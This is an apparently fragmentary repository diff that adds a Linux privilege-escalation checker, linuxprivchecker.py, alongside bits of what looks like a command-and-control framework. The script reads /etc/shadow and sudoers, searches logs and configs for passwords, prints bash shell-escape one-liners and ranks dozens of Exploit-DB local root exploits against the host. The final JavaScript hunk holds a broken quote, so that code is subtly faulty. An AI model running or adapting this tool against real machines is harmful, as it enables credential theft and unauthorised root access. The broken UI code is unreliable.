$wmi = Get-WmiObject -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$Hostname',Name='$GroupName'`""
|
||||
|
|
Binary file not shown.
|
@ -1,5 +1,13 @@
|
|||
function SSLInspectionCheck($url, $proxyurl, $proxyuser, $proxypass){
|
||||
|
||||
$expiration = $null
|
||||
$certName = $null
|
||||
$certPublicKeyString = $null
|
||||
$certSerialNumber = $null
|
||||
$certThumbprint = $null
|
||||
$certEffectiveDate = $null
|
||||
$certIssuer = $null
|
||||
|
||||
write-output "Checking $($url)"
|
||||
$req = [Net.HttpWebRequest]::Create($url)
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,372 @@
|
|||
#!/usr/env python
|
||||
|
||||
###############################################################################################################
|
||||
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
|
||||
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
|
||||
##-------------------------------------------------------------------------------------------------------------
|
||||
## [Details]:
|
||||
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
|
||||
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
|
||||
## passwords and applicable exploits.
|
||||
##-------------------------------------------------------------------------------------------------------------
|
||||
## [Warning]:
|
||||
## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates,
|
||||
## I did not write it to be efficient and in some cases you may find the functions may not produce the desired
|
||||
## results. For example, the function that links packages to running processes is based on keywords and will
|
||||
## not always be accurate. Also, the exploit list included in this function will need to be updated over time.
|
||||
## Feel free to change or improve it any way you see fit.
|
||||
##-------------------------------------------------------------------------------------------------------------
|
||||
## [Modification, Distribution, and Attribution]:
|
||||
## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original
|
||||
## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's
|
||||
## worth anything anyway :)
|
||||
###############################################################################################################
|
||||
|
||||
# conditional import for older versions of python not compatible with subprocess
|
||||
try:
|
||||
import subprocess as sub
|
||||
compatmode = 0 # newer version of python, no need for compatibility mode
|
||||
except ImportError:
|
||||
import os # older version of python, need to use os instead
|
||||
compatmode = 1
|
||||
|
||||
# title / formatting
|
||||
bigline = "================================================================================================="
|
||||
smlline = "-------------------------------------------------------------------------------------------------"
|
||||
|
||||
print bigline
|
||||
print "LINUX PRIVILEGE ESCALATION CHECKER"
|
||||
print bigline
|
||||
print
|
||||
|
||||
# loop through dictionary, execute the commands, store the results, return updated dict
|
||||
def execCmd(cmdDict):
|
||||
for item in cmdDict:
|
||||
cmd = cmdDict[item]["cmd"]
|
||||
if compatmode == 0: # newer version of python, use preferred subprocess
|
||||
out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate()
|
||||
results = out.split('\n')
|
||||
else: # older version of python, use os.popen
|
||||
echo_stdout = os.popen(cmd, 'r')
|
||||
results = echo_stdout.read().split('\n')
|
||||
cmdDict[item]["results"]=results
|
||||
return cmdDict
|
||||
|
||||
# print results for each previously executed command, no return value
|
||||
def printResults(cmdDict):
|
||||
for item in cmdDict:
|
||||
msg = cmdDict[item]["msg"]
|
||||
results = cmdDict[item]["results"]
|
||||
print "[+] " + msg
|
||||
for result in results:
|
||||
if result.strip() != "":
|
||||
print " " + result.strip()
|
||||
print
|
||||
return
|
||||
|
||||
def writeResults(msg, results):
|
||||
f = open("privcheckout.txt", "a");
|
||||
f.write("[+] " + str(len(results)-1) + " " + msg)
|
||||
for result in results:
|
||||
if result.strip() != "":
|
||||
f.write(" " + result.strip())
|
||||
f.close()
|
||||
return
|
||||
|
||||
# Basic system info
|
||||
print "[*] GETTING BASIC SYSTEM INFO...\n"
|
||||
|
||||
results=[]
|
||||
|
||||
sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results},
|
||||
"KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results},
|
||||
"HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results}
|
||||
}
|
||||
|
||||
sysInfo = execCmd(sysInfo)
|
||||
printResults(sysInfo)
|
||||
|
||||
# Networking Info
|
||||
|
||||
print "[*] GETTING NETWORKING INFO...\n"
|
||||
|
||||
netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results},
|
||||
"ROUTE":{"cmd":"route", "msg":"Route", "results":results},
|
||||
"NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results}
|
||||
}
|
||||
|
||||
netInfo = execCmd(netInfo)
|
||||
printResults(netInfo)
|
||||
|
||||
# File System Info
|
||||
print "[*] GETTING FILESYSTEM INFO...\n"
|
||||
|
||||
driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results},
|
||||
"FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results}
|
||||
}
|
||||
|
||||
driveInfo = execCmd(driveInfo)
|
||||
printResults(driveInfo)
|
||||
|
||||
# Scheduled Cron Jobs
|
||||
cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results},
|
||||
"CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results}
|
||||
}
|
||||
|
||||
cronInfo = execCmd(cronInfo)
|
||||
printResults(cronInfo)
|
||||
|
||||
# User Info
|
||||
print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n"
|
||||
|
||||
userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results},
|
||||
"ID":{"cmd":"id","msg":"Current User ID", "results":results},
|
||||
"ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results},
|
||||
"SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results},
|
||||
"HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results},
|
||||
"ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results},
|
||||
"SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results},
|
||||
"LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results}
|
||||
}
|
||||
|
||||
userInfo = execCmd(userInfo)
|
||||
printResults(userInfo)
|
||||
|
||||
if "root" in userInfo["ID"]["results"][0]:
|
||||
print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n"
|
||||
|
||||
# File/Directory Privs
|
||||
print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n"
|
||||
|
||||
fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results},
|
||||
"WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results},
|
||||
"WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results},
|
||||
"SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results},
|
||||
"ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results}
|
||||
}
|
||||
|
||||
fdPerms = execCmd(fdPerms)
|
||||
printResults(fdPerms)
|
||||
|
||||
pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results},
|
||||
"CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results},
|
||||
"SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results}
|
||||
}
|
||||
|
||||
pwdFiles = execCmd(pwdFiles)
|
||||
printResults(pwdFiles)
|
||||
|
||||
# Processes and Applications
|
||||
print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n"
|
||||
|
||||
if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]:
|
||||
getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
|
||||
else:
|
||||
getPkgs = "rpm -qa | sort -u" # RH/other
|
||||
|
||||
getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results},
|
||||
"PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results}
|
||||
}
|
||||
|
||||
getAppProc = execCmd(getAppProc)
|
||||
printResults(getAppProc) # comment to reduce output
|
||||
|
||||
otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results},
|
||||
"APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results},
|
||||
"APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results}
|
||||
}
|
||||
|
||||
otherApps = execCmd(otherApps)
|
||||
printResults(otherApps)
|
||||
|
||||
print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n"
|
||||
|
||||
# find the package information for the processes currently running
|
||||
# under root or another super user
|
||||
|
||||
procs = getAppProc["PROCS"]["results"]
|
||||
pkgs = getAppProc["PKGS"]["results"]
|
||||
supusers = userInfo["SUPUSERS"]["results"]
|
||||
procdict = {} # dictionary to hold the processes running as super users
|
||||
|
||||
for proc in procs: # loop through each process
|
||||
relatedpkgs = [] # list to hold the packages related to a process
|
||||
try:
|
||||
for user in supusers: # loop through the known super users
|
||||
if (user != "") and (user in proc): # if the process is being run by a super user
|
||||
procname = proc.split(" ")[4] # grab the process name
|
||||
if "/" in procname:
|
||||
splitname = procname.split("/")
|
||||
procname = splitname[len(splitname)-1]
|
||||
for pkg in pkgs: # loop through the packages
|
||||
if not len(procname) < 3: # name too short to get reliable package results
|
||||
if procname in pkg:
|
||||
if procname in procdict:
|
||||
relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
|
||||
if pkg not in relatedpkgs:
|
||||
relatedpkgs.append(pkg) # add pkg to the list
|
||||
procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry
|
||||
except:
|
||||
pass
|
||||
|
||||
for key in procdict:
|
||||
print " " + key # print the process name
|
||||
try:
|
||||
if not procdict[key][0] == "": # only print the rest if related packages were found
|
||||
print " Possible Related Packages: "
|
||||
for entry in procdict[key]:
|
||||
print " " + entry # print each related package
|
||||
except:
|
||||
pass
|
||||
|
||||
# EXPLOIT ENUMERATION
|
||||
|
||||
# First discover the avaialable tools
|
||||
print
|
||||
print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n"
|
||||
|
||||
devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}}
|
||||
devTools = execCmd(devTools)
|
||||
printResults(devTools)
|
||||
|
||||
print "[+] Related Shell Escape Sequences...\n"
|
||||
escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]}
|
||||
for cmd in escapeCmd:
|
||||
for result in devTools["TOOLS"]["results"]:
|
||||
if cmd in result:
|
||||
for item in escapeCmd[cmd]:
|
||||
print " " + cmd + "-->\t" + item
|
||||
print
|
||||
print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n"
|
||||
|
||||
# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB)
|
||||
# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os'
|
||||
sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}},
|
||||
"<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}},
|
||||
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
|
||||
"Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}},
|
||||
"2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
|
||||
"Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}},
|
||||
"Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
|
||||
"2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
|
||||
"2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}},
|
||||
"2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}},
|
||||
"<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}},
|
||||
"Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}},
|
||||
"< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}},
|
||||
"open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
"open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
|
||||
}
|
||||
|
||||
# variable declaration
|
||||
os = sysInfo["OS"]["results"][0]
|
||||
version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0]
|
||||
langs = devTools["TOOLS"]["results"]
|
||||
procs = getAppProc["PROCS"]["results"]
|
||||
kernel = str(sysInfo["KERNEL"]["results"][0])
|
||||
mount = driveInfo["MOUNT"]["results"]
|
||||
#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future
|
||||
|
||||
|
||||
# lists to hold ranked, applicable sploits
|
||||
# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks
|
||||
# all applicable exploits should be checked and this function could probably use some improvement
|
||||
avgprob = []
|
||||
highprob = []
|
||||
|
||||
for sploit in sploits:
|
||||
lang = 0 # use to rank applicability of sploits
|
||||
keyword = sploits[sploit]["keywords"]["val"]
|
||||
sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"]
|
||||
# first check for kernell applicability
|
||||
if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]):
|
||||
# next check language applicability
|
||||
if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))):
|
||||
lang = 1 # language found, increase applicability score
|
||||
elif sploits[sploit]["lang"] == "sh":
|
||||
lang = 1 # language found, increase applicability score
|
||||
elif (sploits[sploit]["lang"] in str(langs)):
|
||||
lang = 1 # language found, increase applicability score
|
||||
if lang == 0:
|
||||
sploitout = sploitout + "**" # added mark if language not detected on system
|
||||
# next check keyword matches to determine if some sploits have a higher probability of success
|
||||
for loc in sploits[sploit]["keywords"]["loc"]:
|
||||
if loc == "proc":
|
||||
for proc in procs:
|
||||
if keyword in proc:
|
||||
highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability
|
||||
break
|
||||
break
|
||||
elif loc == "os":
|
||||
if (keyword in os) or (keyword in kernel):
|
||||
highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability
|
||||
break
|
||||
elif loc == "mnt":
|
||||
if keyword in mount:
|
||||
highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability
|
||||
break
|
||||
else:
|
||||
avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version
|
||||
|
||||
print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!"
|
||||
print
|
||||
|
||||
print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system"
|
||||
for exploit in highprob:
|
||||
print " - " + exploit
|
||||
print
|
||||
|
||||
print " The following exploits are applicable to this kernel version and should be investigated as well"
|
||||
for exploit in avgprob:
|
||||
print " - " + exploit
|
||||
|
||||
print
|
||||
print "Finished"
|
||||
print bigline
|
|
@ -204,7 +204,7 @@ function SearchTask() {
|
|||
function tweakMarkup(){
|
||||
|
||||
// Add classes to columns
|
||||
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
|
||||
var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
|
||||
tbl = document.getElementById("PoshTable");
|
||||
ths = tbl.getElementsByTagName("th");
|
||||
for( i=0; i<ths.length; i++ ){
|
||||
|
@ -223,7 +223,7 @@ function tweakMarkup(){
|
|||
for( j=0; j<tds.length; j++ ){
|
||||
td = tds[j];
|
||||
td.className = classes[j]
|
||||
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
|
||||
